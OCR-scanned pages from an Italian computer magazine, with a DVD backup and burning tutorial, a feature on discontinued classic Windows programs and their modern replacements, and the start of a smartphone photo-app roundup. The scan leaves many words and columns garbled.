quasi indispensabile per 

i computer portatili e gli 

ultrabook, che difettano 
proprio di tale unità. Questo 
Asus può essere collegato 


Stampa per stampare. Un clic su Fine terminerà la procedura. 


a è Qualche rifinitura 
. Se la compressione è eccessiva, possiamo 
tima eliminare qualcosa dal DVD risultante, ad 
esempio le lingue straniere. Basta cliccare su Main 
Movie e nella colonna di destra deselezionare gli ele- 
menti che non vogliamo vengano trasferiti. Ad esem- 
pio, deselezionando la casella AG3 5. 1-ch Englishe 
il corrispondente audio non sarà considerato in fase 
di backup. 


a i Scegliamo la cartella 


— Avviamo Burning Studio e clicchiamo su 
vet Filmato, poi su DVD Video da cartella 
nella barra laterale. Nella nuova finestra inseria- 
mo un titolo, poi clic su Sfoglia per selezionare 
la cartella contenente i file video appena rippati 
dal DVD (selezioniamo VIDEO_TS) e confermiamo 
con Ok, quindi proseguiamo con Avanti. 





» Main Mo 
® (2) Etras = | TargetDevce DIORegon Quelli Setinps Optore BumSetings 
| hertrm deep analyse before baco to morore quality. 


DID Sfvin 32 Quality Erhancemente 


comoress vito mt highi quality actotive eroe compensatone 


a Scegliamo la qualità 
3 I Fatti gli aggiustamenti necessari, clicchia- 
same mo sul pulsante Backup!. Nella nuova fine- 
stra potremo accettare o modificare la cartella del 
disco nella quale verranno copiati i file del DVD Video 
(Select target folder...), e se siamo amanti della qua- 
lità, cliccando sulla tab Quality Settings potremo 
selezionare Perform deep analisys before backup... 
per migliorare la qualità della compressione. 











x ILfilm in DVD è copiato! 


Nella schermata successiva possiamo 

* masterizzare, ma prima di farlo clicchiamo 

su Velocità e impostiamo una velocità bassa (mas- 

simo 4X), quindi clicchiamo su Scrivi DVD. AI termine 

il nostro DVD Video sarà pronto per essere inserito in 

un lettore da salotto oppure in un computer. Con un 
clic su OK, poi su Esci la procedura sarà conclusa. 
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PARTIES e EVO 





| lerieoggi | Speciale Software | 


Ricordi i software “antichi” come Norton Commander o WinAmp? 
All'epoca erano dei programmi rivoluzionari: nelle prossime pagine 
scoprirai perché, e quali nuovi software possono sostituirli 





eil monitor del tuo primo 
LS computer era un CRT (a 

tubo catodico), probabil- 
mente sei tra coloro che hanno 
usato le versioni più "antiche" di 
Windows, e probabilmente co- 
nosci anche il DOS, che oggi non 
esiste più. Molti dei programmi 
che vedrai nelle prossime pa- 
gine erano rivoluzionari per 
l'epoca e semplificavano note- 
volmente l'utilizzo del PC. Inre- 
dazione ne abbiano analizzato 





L'ANTENATO DI ESPLORA FILE 
i NORTON COMMANDER 





N orton Commander è una leggenda 
tra i file manager. Ha messo fine alla 
schiavitù della riga di comando per la co- 


14 tra quelli che hanno fatto la 
storia, proponendoti delle mo- 
derne alternative che trovi sul 
supporto allegato alla rivista. 


Era meglio una volta? 

Ricordi il mitico file manager 
Norton Commander, il pla- 
yer WinAmp o l'editor video 
Windows Movie Maker? Sono 
tutti programmi che, per vari 
motivi, sono ormai scomparsi 
dai nostri PC. Alcuni perché 


adattarsi ai nomi di file lunghi introdotti 
con esso. Tuttavia, Symantec aggiornò 
Norton Commander e il successo del file 
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il programmatore ha rinun- 
ciato allo sviluppo per crisi di 
liquidità, altri perché sono stati 
acquistati e non più sviluppati 
dal nuovo proprietario. Spes- 
so, tuttavia, sono scomparsi 
semplicemente perché ormai 
anacronistici, proprio come i 
monitor CRT. 


Ritorno al presente 
Nelle pagine che seguono ti 
faremo scoprire 14 tra questi 





grandi classici del passato, spie- 
gandoti perché erano utilizza- 
ti su quasi tutti i PC Windows 
inside. Poiché le funzioni che 
svolgevano tali software sono 
ancora importanti e cruciali per 
l'utilizzo quotidiano dei nostri 
PC, molti programmatori han- 
no sviluppato nuovi software 
che possano sostituire e mi- 
gliorare le vecchie glorie del 
passato. Scopriamo insieme se 
ci sono veramente riusciti. 


[AA] FREE COMMANDER 


Free Commander non richiede lunghi tempi di apprendimento: 
questo file manager gratuito sfrutta una pratica visualizzazione a 























manager continuò fino al 2000, quando, ’ duefinestre e può essere uti- NY 
sommerso dal tempo e dai tanti cloni ap- 
parsi nel frattempo, il programma fu con- 


segnato definitivamente all'oblio. 


pia, lo spostamento e la cancellazione dei 
file. | suoi punti di forza: interfaccia uten- 
te chiara e immediata grazie alle due fi- 
nestre, accesso rapido ai file, editor inte- 
grato e scorciatoie di scelta rapida. 

Negli anni ‘80, lo studente John Socha svi- 


lizzato in modo molto simile 
a Esplora file. Grazie agli 
shortcut, inoltre, si può velo- 
cizzare la gestione dei file 
usando la tastiera, proprio 


luppò un software chiamato “Visual DOS" come con Norton Comman- 
per il sistema operativo MS DOS. La sof- der. Inoltre, agendo dal me- 
tware house Peter Norton Computing nu Extra, Definisci scorcia- 


estrasse da questo il file manager e lo 
chiamò “Norton Commander”, portandolo 
al successo. Nel 1990, la software house 
Symantec acquisì il programma, solo che 
quando Microsoft presentò Windows 95, il 
vecchio Norton Commander non riuscì ad 


toie tastiera è possibile per- 
sonalizzare tutte le scorcia- 
toie di Free Commander. Un 
must have, 
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www.freecommander.com 
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TUTTE LE MAIL 
IN BREVE 











Integrato in Windows, Outlook Express 
era un valido programma gratuito per 
gestire la posta. 


THUNDERBIRD 


Thunderbird, rea- 
lizzato dai creato- 
ri di Firefox, può 
gestire ogni tipo 
di account di po- 
sta, tranne quelli 
di Exchange. 








mozilla 
Thunderbird 


\ Thunderbird V_A9 


| 
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VELOCIZZARE 


IL PC 


TUNEUP UTILITIES 





Utilities” 2004 


Customize 
Bansivze 


@ nre 


Poi sro nas 


Customize & Analyze 





Tempi di avvio biblici e Internet lenta era- 
no due dei problemi che le TuneUp Utili- 
ties erano chiamate a risolvere più di fre- 
quente. Sui moderni PC i benefici di stru- 
menti come questi sono molto più limitati 
che non in passato. 


WINOPTIMIZER 


WinOptimizer è 
una buona alter- 
nativa moderna 
a TuneUp. Per re- 
gistrarvi, seguite 
le istruzioni del 
programma. 
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GESTIONE MUSICA 
WINAMP 
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Icuni anni fa, WinAmp, la cui interfaccia ricordava 

il frontalino di un lettore CD, era presente su quasi 
tutti i computer. Con esso si potevano riprodurre e ge- 
stire brani audio, e una serie di finestre aggiuntive 
permetteva di avere una miglior panoramica delle 
funzioni disponibili. E di funzioni WinAmp ne aveva 
tante: riproduzione di Internet radio, equalizzatore, 
visualizzazioni elaborate, playlist e molto altro. Inoltre 
era possibile personalizzarne il look grazie a migliaia 
di skin disponibili su Internet. Purtroppo WinAmp era 
progettato principalmente per riprodurre MP3 in loca- 
le, per questo con il crescente successo dei servizi di 
streaming come Spotify ha perso terreno rispetto ai 
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concorrenti. L'ultima versione del programma è stata 
rilasciata alla fine del 2013, poi lo sviluppo si è inter- 
rotto, nonostante il programma sia rimasto disponibi- 
le per il download. Nel 2014 Radionomy, un fornitore 
di Internet Radio, ha rilevato il programma sviluppan- 
do la nuova versione 5.8 che sfortunatamente non è 
stata mai rilasciata ufficialmente a causa di alcuni pro- 
blemi nell'acquisizione dei necessari diritti di licenza. 
Recentemente è stata rilasciata una versione prelimi- 
nare di WinAmp 5.8 (https://www.winamp.com/) e, 
allo stesso tempo, il produttore ha dichiarato di essere 
al lavoro su una nuova versione del programma, che 
sarà presentata il prossimo anno. 


MEDIA MONKEY FREE 


Se volete gestire una collezione di MP3 in locale e non volete affidarvi 
alla versione non ufficiale di WinAmp, Media Monkey è tutto ciò di cui 
avete bisogno. Il programma gestisce brani audio, riproduce le Inter- 
net Radio e perfino i video e si sincronizza con lo smartphone. L'utiliz- 
zo è semplice, proprio come WinAmp, e anche Media Monkey dispone 
di molte skin, nonostante queste non modifichino il design tanto 
quanto accadeva in WinAmp. Inoltre, Media Monkey offre funzionalità 
ancora più pratiche come la ricerca di duplicati e di brani mancanti ed 
ha una modalità DJ professionale per le feste. 


MEDIAMONKEY4 
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Ila fine degli anni ‘90, Nap- 

ster era il paradiso della 
condivisione di file audio su In- 
ternet. Gli utenti installavano il 
programma e condividevano i 
propri file con l'enorme archivio 
di Napster, sul quale chiunque 
poteva ricercare un qualunque 
brano e scaricarselo sul proprio 
PC gratuitamente! 
All'inizio del 2001, 80 milioni di 
utenti in tutto il mondo utilizza- 
vano Napster per scaricare brani 
audio e questo attirò le ire delle 
major, che assieme agli artisti 
venivano danneggiate econo- 
micamente dalla condivisione 
di contenuti protetti da copy- 
right. 


NAPSTER 
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A seguito delle cause intentate contro Napster, quest'ultima fu costretta a filtrare i file condivisi elimi- 
nando quelli protetti da copyright. Peccato che bastasse rinominare i brani dando loro un titolo diver- 


so per bypassare il filtro! 


Alla fine del 2001, come conseguenza delle molte cause perse, Napster è stata costretta a cessare com- 
pletamente il servizio. L'attuale Napster condivide con il precedente soltanto il nome: adesso, difatti, è 
molto simile a Spotify e propone milioni di brani audio da ascoltare in streaming e in abbonamento. 


CREARE FACILMENTE FILM 
WINDOWS MOVIE MAKER 


nizialmente Windows Movie Maker era fornito in dotazione con Windows XP e Vista, poi 
fu inserito nella suite gratuita Microsoft Live Essentials; con esso si potevano tagliare e 
affinare video, inserire dissolvenze e usare la timeline. Le sue caratteristiche lo resero ben 











presto molto popolare tra gli 
utenti Windows; nel 2009, però, 
con la versione 14, il programma 
perse molte delle sue funzioni 
per l'editing video e diventò 
adatto solo per realizzare presen- 
tazioni di foto. L'ultima versione 
del programma è apparsa nel 
2012, anno nel quale fu interrot- 
to lo sviluppo di Windows Live 
Essentials e quindi di Movie Ma- 
ker. 

Dal 2017 non esiste più il down- 
load ufficiale, ma in alternativa 
potrete utilizzare LightWorks, il 
programma che trovate qui di 
fianco. 


Audio&Video € 


AUDIALS 


RADIOTRACKER 


Audials Radiotracker non permette di condivi- 
dere, ma solo di ascoltare musica gratis. Il pro- 
gramma cattura i brani dalle stazioni radio su 


Internet e li salva 
sul disco rigido, 
effettuando una 
sorta di copia pri- 
vata ed analogica 
del brano. Inol- 
tre, Radiotracker 
permette di frui- 
re anche di po- 
dcast, che è pos- 
sibile registrare 
gratuitamente. 








(AA) LIGHTWORKS 


LightWorks è un eccellente editor video, capace 
di trattare i video in maniera professionale gra- 
zie al gran numero di funzioni presenti. È la solu- 
zione ideale per chi desidera utilizzare un pro- 


gramma di video edi- 
ting professionale e 
adatto a più piattaforme 
(ne esistono versioni an- 
che per macOS e Linux). 
La versione a pagamen- 
to permette l'esporta- 
zione di filmati stereo- 
scopici e in 1080p per 
YouTube. 
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CHATTARE 
DAL DESKTOP 





AIM, o AOL Instant Messenger era un ser- 
vizio di chat nato nel 1997 e ben presto 
diffusosi in tutto il mondo perché offriva 
già allora molte funzioni che oggi sono 


date per scontate. 


Le app mobile han- 
no sostituito i pro- 
grammi di chat sul 
PC. Franz le riunisce Ma 
tutte, così potrete 
chattare da un unico 
programma sul PC. 





Me LETTTTIO 
*"eebagngs' 


UPGRADE 
DEL DESKTOP 


TERI 





Avete informazioni utili direttamente 
sul desktop? Era questo lo scopo per cui 
erano nati i mini gadget di Windows Vi- 


sta e 7. 


[TEA] 8GADGETPACI 


t 
i 


Questo strumen- 
to porta i gadget 
anche sul de- È 
sktop di Windows 
8.1 / 10, compresi 
dei classici come 
il calendario o il 
meteo. 
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U n po'di anni fa chi si apprestava a fare una ricerca sul 
regionalismo critico, o a studiare l'economia del Be- 
nin aveva due sole alternative: o una biblioteca ben for- 
nita, o Microsoft Encarta. Quest'enciclopedia digitale ap- 
parve per la prima volta nel 1993 e nel corso degli anni 
arrivò a comprendere anche fino a 62.000 voci, 25.000 
immagini e foto, oltre 300 video e un atlante interattivo 
con 1,8 milioni di luoghi. Con le aggiunte multimediali, 
Encarta offriva un notevole valore aggiunto rispetto alle 
enciclopedie cartacee, portando la conoscenza su un 
nuovo livello. Encarta, che venne rilasciata in varie lingue 
in tutto il mondo, fu gestita da editori locali e aggiornata 
annualmente da Microsoft, cosa che la portò ad occupa- 
re fino a quattro DVD, ma non le evitò una brutta fine, 
Nel 2009, infatti, 16 anni dopo il rilascio della prima ver- 
sione Microsoft chiuse lo sviluppo di Encarta. 


[TEA] WIKIPEDIA 


Se volessimo cercare informazioni su qualcosa oggi, non dovremmo acquistare 
alcun software: basterebbe usare l'enciclopedia online Wikipedia, che offre mi- 
lioni di articoli in molte lingue. L'edizione in lingua inglese, ad esempio, offre . 
accesso a circa 6 milioni di articoli; difficilmente non troverete risposte alle vo- 

stre domande, La particolarità di Wikipedia è quella di non essere gestita da una 
società con sedi sparse ovunque, ma da fondazioni senza fini fi lucro che si fi- | 
nanziano attraverso donazioni. A loro volta, i contenuti provengono da decine 
di migliaia di autori volontari, che aggiungono sempre nuovi argomenti, ag- 

giornandoli ed eliminando eventuali errori. 
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ES=E288 WVINONCD 


Jarrivo dei masterizzatori per CD fece 
la felicità di coloro che in precedenza 

erano costretti ad archiviare i propri dati 
su decine di floppy disk da 3,5”: passare 
da 1,44 a 650 megabyte in un colpo solo 
fu un passo avanti straordinario, soprat- 
tutto alla luce del fatto che i dischi rigidi 
dell'epoca non avevano di certo capacità 
incredibili (Seagate nel '92 produsse un 
HDD da 2,1 gb). Pubblicato nel 1992, Wi- 
nOncCD fu il primo programma di maste- 
rizzazione disponibile, e all'inizio era ri- 
servato a una ristretta cerchia di utenti, 
proprio come i masterizzatori CD, che ar- 
rivavano a costare diversi milioni di lire. 
Con Windows 95, il CD-ROM divenne il 
nuovo standard per la memorizzazione e 
i prezzi diminuirono. WinOnCD iniziò la sua marcia trionfale otto anni dopo, con la versione 3.8. L'espe- 
rienza del pioniere della masterizzazione gli permise di offrire funzioni, velocità e varietà di formati sup- 
portati che nessun altro concorrente poteva eguagliare; per questo WinOnCD divenne rapidamente il 
preferito dagli utenti. Nel corso degli anni, il produttore proseguì con gli aggiornamenti rendendolo in 
grado di masterizzare anche DVD e Blu-ray e convertire video sip velocemente. La sua ultima ver- 
sione fu la 2010, rilasciata nel 2009. 


Estr PICASA 


S cattare una foto digitale è semplice, ma quando sul disco si accumulano migliaia di immagini, è facile 
perdere traccia di cosa si è fotografato. Google ha intuito la necessità di mettere ordine nelle foto fin 
dal 2004, realizzando il gestore di immagini Picasa per risolvere il problema. Dopo l'uscita, il programma 
conquistò un gran numero di estimatori, grazie anche ad un'interessante serie di funzioni sorprendenti. 
Ad esempio, le cartelle virtuali, che permettevano di migliorare la gestione delle foto, organizzando le 
immagini in gruppi, correlate tematicamente tra di loro, indipendentemente dalla reale cartella di archi- 
viazione, Inoltre, per aiutare l'utente a ritrovare le foto all'interno delle migliaia presenti sul disco, Picasa 
permise di utilizzare le parole chiave. In seguito Google ha aggiunto anche il riconoscimento facciale 
automatico, con la possibilità di 
cercare le foto nelle quali è pre- 
sente un determinato soggetto 
e altre interessanti funzioni di 
modifica delle immagini come il 
miglioramento del colore, la ri- 
duzione dell'effetto occhi rossi o 
il ritaglio. Con Picasa Web Al- 
bum, infine, gli utenti potevano 
facilmente creare album foto- 
grafici online. Purtroppo, il 15 
marzo 2016, Google ha interrot- 
to lo sviluppo di Picasa, soppian- 
tandolo con il servizio online 
“Google Foto". 





[AA] COBURNER XP 


CDBurner XP è un programma che nel corso degli 
anni si sta facendo apprezzare sempre più. Permette 
di masterizzare CD, DVD e Blu-Ray dati, può creare 
senza problemi CD audio e DVD video e supporta ot- 
timamente anche i CD/DVD riscrivibili. L'interfaccia 
in italiano rende ancor più semplice il suo utilizzo. 


i VO Visse 
NESÉ Poncerne 3 cern DO dre critici it DO 


Disco Auto 
e) irea du auda con ‘cetra Desa Pm e rase 


Masenzza immagine 150 
Tiso: dinmeezzo dass da de O 


a Cona disco 
Casa dusa puîe de 


Cancolta Gsoo 
È VE Corsrtarzese cotone re eeopoto monile 


Wwww.cdburnerxp.se 


DIGIKAM: 
LORDINATUTTO 


Il successore ufficiale di Picasa è Google Foto (Www. 
photos.google.com), ma chi non vuole affidare le 
proprie foto al cloud, può utilizzare digikam, un 
software di editing 

delle immagini e di ge- 

stione foto dotato di 

un gran numero di 

funzioni. —Dispone 

anch'esso di una fun- 

zione di riconoscimen- 

to facciale e di una vi- 

sta dinamica che ordi- | 

na le foto in base alla | 

posizione, all'ora o alle 

parole chiave. 
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SEMPRE 
AGGIORNATI 


TERI 
SECUNIA PSI 





fo cia software non aggiornato sul PC 
comporta notevoli rischi per la sicu- 
rezza, d'altronde è difficile verificare quo- 
tidianamente se tutti i programmi instal- 
lati siano aggiornati. In questo il “Personal 
Software Inspector” (PSI) offriva un gran- 
de aiuto, creando un elenco dei software 
installati e confrontandoli con un databa- 
se Web contenente le ultime versioni de- 
gli stessi programmi. Questo permetteva 
di aggiornare velocemente le versioni ob- 
solete; purtroppo ad aprile 2018 questo 
servizio è stato interrotto. 


[IAA] SUMO 


Sumo funziona come PSI. Una volta 
installato basta avviare il program- 
ma e lasciare che venga effettuata la 
ricerca automatica dei software in- 
stallati sul sistema. AI termine di 
questa prima fase è possibile lancia- 
re la ricerca degli aggiornamenti che, 
se trovati, possono essere scaricati 
dal sito del produttore oppure dal si- 
to di Sumo. 
Volendo, è 
possibile an- 
che permette- 
re al program- 
ma di verifica- 
re la presenza 
di aggiorna- 
menti in beta. 
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NAVIGARE IN INTERNET 








NETSCAPE NAVIGATOR 


N etscape Navigator (NN) è stato negli anni‘90 ciò che oggi è Goo- 
gle Chrome; fu questo, infatti, nel lontano 1993 il primo browser 
per Windows, e per questo conquistò i PC. Chiamato inizialmente 
Mosaic, offriva un'innovazione rivoluzionaria: permetteva di visualiz- 
zare immediatamente il contenuto di un sito Web senza attendere il 
completo caricamento. Pertanto, chi aveva un modem lento poteva 
comunque iniziare a leggere il contenuto testuale mentre quello gra- 
fico era in fase di caricamento. Inizialmente quasi senza concorrenza, 
finì ben presto sotto tiro da parte di Microsoft, che nel 1995 presentò 
il suo Internet Explorer, innescando la prima guerra dei browser, che 
vide NN soccombere tre anni dopo. 





WINDOWS MEDIA CENTER 


indows Media Center è apparso per la prima volta nel 
2003 in una versione speciale di Windows XP e consen- 
tiva di riprodurre foto, video e musica in un'interfaccia perso- 
nalizzata, oltre che inviare media di ogni tipo al TV. Se il com- 
puter era dotato di sintonizzatore TV, il programma permet- 





teva anche di riprodurre e registrare le trasmissioni. Media 
Center è sopravvissuto a Windows Vista, 7 e 8 prima che Mi- 
crosoft ne interrompesse lo sviluppo a maggio 2015. | no- 
stalgici possono ancora installarne una versione modificata 
anche in Windows 10. 






[AA] FIREFOX 


Firefox è un browser derivato dal co- 
dice di NN. Nato come alternativa 
“gratuita” ad Internet Explorer, che 
nel frattempo stava dominando il 
settore dei browser per PC, è ancora 
oggi una buona scelta. Nei nostri 
test ha ottenuto punteggi elevati ed 
ha funzioni intelligenti, come la pro- 
tezione perl tracciamento. 














mozilla 


XOJ3M1H 


www.mozilla.org 


CIAA] KODI 


Kodi è un media center migliore 
e ancora più flessibile rispetto a 
WMC. Colpisce l'utente con 
un'interfaccia elegante e la pos- 
sibilità di gestire praticamente 
ogni tipo di file multimediale. 
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KODI 
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INTERNET EXPLORER 


Come produttore di browser, Micro- 
soft non gode di una buona reputa- 
zione. Il motivo si chiama Internet 
Explorer 6. Rilasciato nel 2001 que- 
sto browser divenne l'incubo di In- 
ternet: non solo la navigazione era 
lenta, ma il programma era pieno di 
problemi di sicurezza e mancavano 
caratteristiche importanti. La più 
seria era che gli standard Web erano 
praticamente ignorati. Essendo IE6 
il browser predefinito di Windows 
fino al 2013, Microsoft poteva van- 
tare una notevole diffusione tra gli 
utenti che navigavano in Internet. 


MICROSOFT BOB 


Progettato per essere un'interfaccia 
alternativa al Desktop di Windows 
3.1 e in seguito Windows 95, Micro- 
soft Bob ebbe scarsissimo successo 
nonostante cercava di proporre 
un'interfaccia basata su un ambien- 
te casalingo, con oggetti come il ca- 
lendario o la rubrica che, una volta 
cliccati, avviavano le omonime ap- 
plicazioni. Curiosità: all'interno del 
programma c'era un assistente vir- 
tuale, il cane Rover, che sarà il pre- 
cursore degli assistenti di Office. 





JOOST 


Doveva essere una piattaforma pro- 
iettata verso il futuro, sulla quale po- 
ter fruire contenuti audio/video di- 
stribuiti utilizzando la tecnologia pe- 
er-to-peer, e invece è stata un colos- 
sale flop. Resa disponibile per la pri- 
ma volta il 3 ottobre 2017, all'inizio 
racimolò grandi consensi, un sacco 
di finanziamenti e l'interesse di molti 
content provider, ma gli utenti ave- 
vano difficoltà a trovare i contenuti 
desiderati e questo portò ben presto 
la società a chiudere battenti. 


Ask 
ASK-TOOLBAR 


Le barre degli strumenti dei brow- 
ser erano una gran seccatura: un 
clic sbagliato, e ci si ritrovava im- 
provvisamente con barre indeside- 
rate dappertutto che, oltre a ruba- 
re spazio prezioso rallentavano la 
navigazione, mostravano pubblici 
tà aggiuntiva e spiavano la naviga- 
zione degli utenti! Tra tutte, la bar- 
ra strumenti Ask era quella più in- 
vasiva: si aggirava dappertutto e 
amava installarsi più volte. Disin- 
stallarla semplicemente non servi- 
va, bisognava usare un program- 
ma speciale per eliminarla. 


Audio&Video 


PROGRAMMI... 
DA DIMENTICARE 


ZONE ALARM 


Con l'avvento di Internet, i firewall 
iniziarono ad essere indispensabi- 
li e Zone Alarm divenne partico- 
larmente popolare, ma gli utenti 
inesperti venivano confusi dalle 
mille richieste relative ai pacchetti 
dati per i quali autorizzare omeno 
l’accesso ad Internet. Alla fine, tut- 
te queste domande non rendeva- 
no di certo il PC più sicuro. Al gior- 
no d'oggi, tali programmi sono 
superflui, poiché i router e le suite 
come quella di Eset, ad esempio, 
proteggono il PC dagli accessi in- 
desiderati in modo molto più effi- 
cace. 


RI 


Windows Vi 


WINDOWSVISTA 


Era stato pensato come il successore 
perfetto per soppiantare Windows 
XP sui computer dei milioni di utenti 
che lo avevano felicemente adotta- 
to, e invece la realtà non ha rispec- 
chiato le aspettative. Clamorosa- 
mente lento e pieno di bug, Win- 
dows Vista è stato il sistema operati- 
vo più odiato e criticato di Microsoft 
(probabilmente anche più di Win- 
dows ME), anche perché molte delle 
applicazioni progettate per Win- 
dows XP non potevano più essere 
utilizzate su Vista. 




















APPLE ITUNES PING 


Non è esattamente un software, ma 
valeva la pena ricordarlo anche per 
rimarcare come anche le “grandi fir- 
me” riescano a fare errori mica da ri- 
dere. Ping è un social musicale lan- 
ciato qualche anno fa da Apple e 
che avrebbe dovuto far conoscere 
tra di loro persone con gusti musi- 
cali compatibili. In effetti, la marea 
di account di spam e di pseudo- 
musicisti in cerca di fama che lo ha 
inondato pochi giorni dopo il lancio 
ha fatto sì che questo social naufra- 
gasse senza rimpianto alcuno dopo 
neanche due anni dal lancio. 


la ==1| 


REAL PLAYER 


Probabilmente nessuno cono- 
scerebbe questo lettore multi- 
mediale per video e audio se non 
avesse fatto scalpore creando 
problemi agli utenti; il primo 
scandalo arrivò nel 1999, quando 
si scoprì che il programma spiava 
gli utenti. In pochi anni Real Pla- 
yer si diffuse moltissimo, spinto 
dal produttore che intendeva far- 
ne uno standard per la riprodu- 
zione dei video da Internet. 





Win Magazine 47 




















in pochi tap | 
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Fotografare con lo smartphone ti appassiona e stai cercando 
effetti da aggiungere ai tuoi scatti? Trai ispirazione da qui... 


gni giorno gli Store Android 

e i0S pubblicano milioni di 

app sempre più smart per 
migliorare il nostro rapporto con 
il cellulare. Molte di esse ci facili- 
tanolavita, altre ci fanno divertire, 
imparare cose nuove o conoscere 
nuovi amici. Tra le più ricercate e 
utilizzatevisonole app perilfotori- 
tocco. Le migliori hanno raggiunto 
unlivello di qualità molto elevato 
al punto tale da permettere di ot- 
tenere risultati sorprendenti anche 


| 
| 
| 


VÀ 
id 


Bilanciamen 


ì 6 DO 


Impostazioni di scatto 

Aprendo l'app si attiva la fotocamera. Pri- 
ma di scattare la foto possiamo provare vari filtri, 
vedere il risultato in anteprima e applicarli subi- 
to. Per aprire la toolbar con le opzioni di posa e 
inquadratura tocchiamo i tre pallini a destra in 


basso. 
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a chi non possiede smartphone 
particolarmente equipaggiati. Il 
tutto a costo zero. Certamente se 
si vuole poterusare l'interagamma 
di filtri e strumenti grafici messi a 
disposizione da queste app, occorre 
mettermano al portafoglio (si tratta 
di pochi euro)ma comunque anche 
in versione free, consentono di ac- 
cedere a una vastagamma di effetti 
niente male. In pochi tap possiamo 
conferire un tocco artistico e ori- 
ginale alle nostre foto rendendo- 





Controlli ed effetti 


Possiamo anche caricare una foto esistente 
dal pulsante in basso a destra. Per aprire la bar- 
ra dei controlli di luminosità contrasto e satura- 
zione tocchiamo il pulsante con il segmento. Gli 
effetti invece sono visibili con un tap sul pulsan- 


te con i tre colori. 


le pronte per essere condivise su 
qualsiasi social network e perché 
no, a farciguadagnare qualche sol- 
dino. Abbiamo quindi selezionato 
quelli che ci sono sembrati i più 
interessanti strumenti disponibili 
su entrambele piattaforme, appro- 
fondendo l’analisi di quattro editor 
più completi e ben fatti quanto a 
filtri ed effetti speciali, accompa- 
gnandole ad una decina di buo- 
ne app “monografiche” dedicate 
ciascuna ad un effetto prevalente. 


Si va da quelli che trasformano le 
fotoindipinti o disegni, ispirandosi 
ai vari stili pittorici, giocano sul 
contrasto delle tonalità con filtri 
dai colori mozzafiato, o simulano 
la profondità di campo delle reflex, 
agli effetti che sfruttano la proie- 
zione stereografica per distorcere 
leimmagini con risultati divertenti 
e creativi, o utilizzano surreali ef- 
fetti psichedelici e glitch ispirati 
alle correnti estetiche cyberpunke 
vaporwave di fine millennio, 





Ecco Il risultato 

Per provare gli effetti basta toccare un grup- 
po (Pro, Retro, Pop, ecc.) e le miniature incluse. 
| gruppi con il nome in giallo sono bloccati ma 
possono essere comunque visualizzati. Premen- 
do la spunta confermiamo l'aggiunta di un effet- 
to alla foto e il suo salvataggio. 





I 
® | Afterfocus 


http://bit.ly/2B0zT5h -@ http://bit.ly/2T7iyig 

AfterFocus è una delle migliori app per ottenere 
l'effetto bokeh (sfocato) anche con gli smartphone 
dotati di obiettivo singolo. È sufficiente scattare 
una foto e caricarla nel programma. Si può quindi 
scegliere la modalità con cui operare: Smart o 
Manuale. Nel primo caso basta tracciare una prima 
linea attorno al soggetto da mettere a fuoco, poi se 
ne aggiunge una seconda per indicare lo sfondo 
da sfocare. Premiamo la freccia in alto per lasciare 
che l'algoritmo di AfterFocus modifichi l'immagine 
nel modo desiderato. La modalità Manuale invece 
offre risultati più precisi: richiede di colorare con 
il dito prima il soggetto in primo piano e poi lo 
sfondo e ottenere così i due livelli focali sovrapposti. l'immagine finale può essere 
ulteriormente ritoccata correggendo l'intensità della sfocatura, cambiando la forma 
geometrica dell'area di messa a fuoco oppure applicando uno dei 10 filtri inclusi. 











si tocca Color splash. Share splash invece consente di 
racchiudere l'area colorata in una forma geometrica o di 
fantasia. La dimensione del tool per ricolorare (Color) può 
essere ridimensionata da Size ed è possibile anche modifi 


Color Splash 
» http://bit.ly/2Czh216 





Grazie a questo editor è possibile applicare alle foto l'effet- 
to “macchia di colore” in modo da renderle più creative e 
intriganti. Si tratta cioè di convertire in gradazioni di grigio 
un'immagine a colori e mettere in risalto una parte ricon- 
vertendola nel suo colore originale o ricolorandola. Color 
Splash Effect converte infatti la foto scelta (dalla galleria o 
scattata ad hoc) in un'immagine in bianco e nero dopo- 
diché è possibile ridipingere con il dito l'elemento su cui 
si vuole attirare l'attenzione dell'osservatore. Per iniziare 


care l'offset dal pulsante in alto con la mano cioè la distan- 
za della traccia dal dito. Sì può anche modificare l'opacità 
della mascheratura (da Opacity). Toccando il pulsante Pan 
possiamo muovere l'immagine nel display e zoomare per 
un tratto più preciso. Attivando il pulsante Gray si correg- 
gono le parti ricolorate per errore. Con Recolor è possibile 
scegliere un diverso colore di riempimento. Toccando il 
pulsante con la freccia l'immagine editata viene salvata 
quindi può essere condivisa sui social. 


r° + Photo Lab 
http://bit.ly/2FJDOCO +8 http://bit.ly/2DvaPat 
L'app permette di applicare vari tipi di effetti 
creativi e ispirati a stili pittorici, inoltre include una 
nutrita serie di effetti di dispersione pixel cioè di 
disintegrazione di una parte del soggetto ritratto. 
Dopo aver scelto il tipo di filtro è sufficiente sele- 
e la foto da distorcere e persi zionare l'immagine dalla galleria o acquisirne una 
) a" generato, utilizzando nuova dalla fotocamera, definire l'area da modi- 
ficare, confermare Il formato toccando la spunta, 
quindi scegliere l'effetto da applicare dalla toolbar 
in basso. Per ottenere la "disgregazione" di parte 
di una foto utilizziamo l'effetto Splatter che inserisce al di sopra di essa una 
"maschera" con pixel disgregati. Al di sotto rimane visibile la parte centrale 
della foto originale, che può essere impostata a gradienti di colori o in bianco 
e nero, accentuandone o riducendone la luminosità. Possiamo ottenere un 
realistico effetto di dispersione anche applicando il filtro Shattering (dall'in- 
glese to shatter = frantumare). A seconda del tipo scelto la foto risulta per 
metà visibile e per metà "smembrata". È possibile scegliere il motivo delle 
"particelle", l'ampiezza e il colore dell'area "frantumata" e adattare la posizio- 
ne della foto rispetto all'effetto ridimensionandola con le dita. 
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Snapseed - 


La foto da 

trasformare 
Aprendo Snapseed, app 
made in Google, appa- 
re una schermata con 
un segno “+” centrale. 
Tocchiamolo per aprire 
la galleria di immagini 
del nostro smartphone. 
Selezioniamo la foto da 
modificare, che appare 
nella finestra dell'app. 
In basso troviamo i pul- 
santi Effetti, Strumenti 
e Esporta. 


O 


Comincia a Modificara 


PicsArt Photo Studio - 
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7), Photo Director - ‘®http://bit.ly/2sPYrK5- 


Scatti da veri 

pro 
All'apertura dell'app 
accettiamo le condizio- 
ni riguardanti la privacy 
premendo su Accetta e 
chiudi, quindi giungiamo 
alla schermata principa- 
le. Qui possiamo sceglie- 
re se modificare una foto 
esistente o una scattata 
al momento. Nel primo 
caso tocchiamo Modifi- 
cae scegliamo la foto. 


http://bit.ly/2sIncfs- 


http://bit.ly/2Ubhiux 





http://bit.ly/2R9egwu 


Special FX 
adhoc 


Sfochiamo 

un po’ 
Dalla barra in basso nel- 
la schermata possiamo 
selezionare ogni tipo di 
funzione. Per esempio, 
sfocare lo sfondo per 
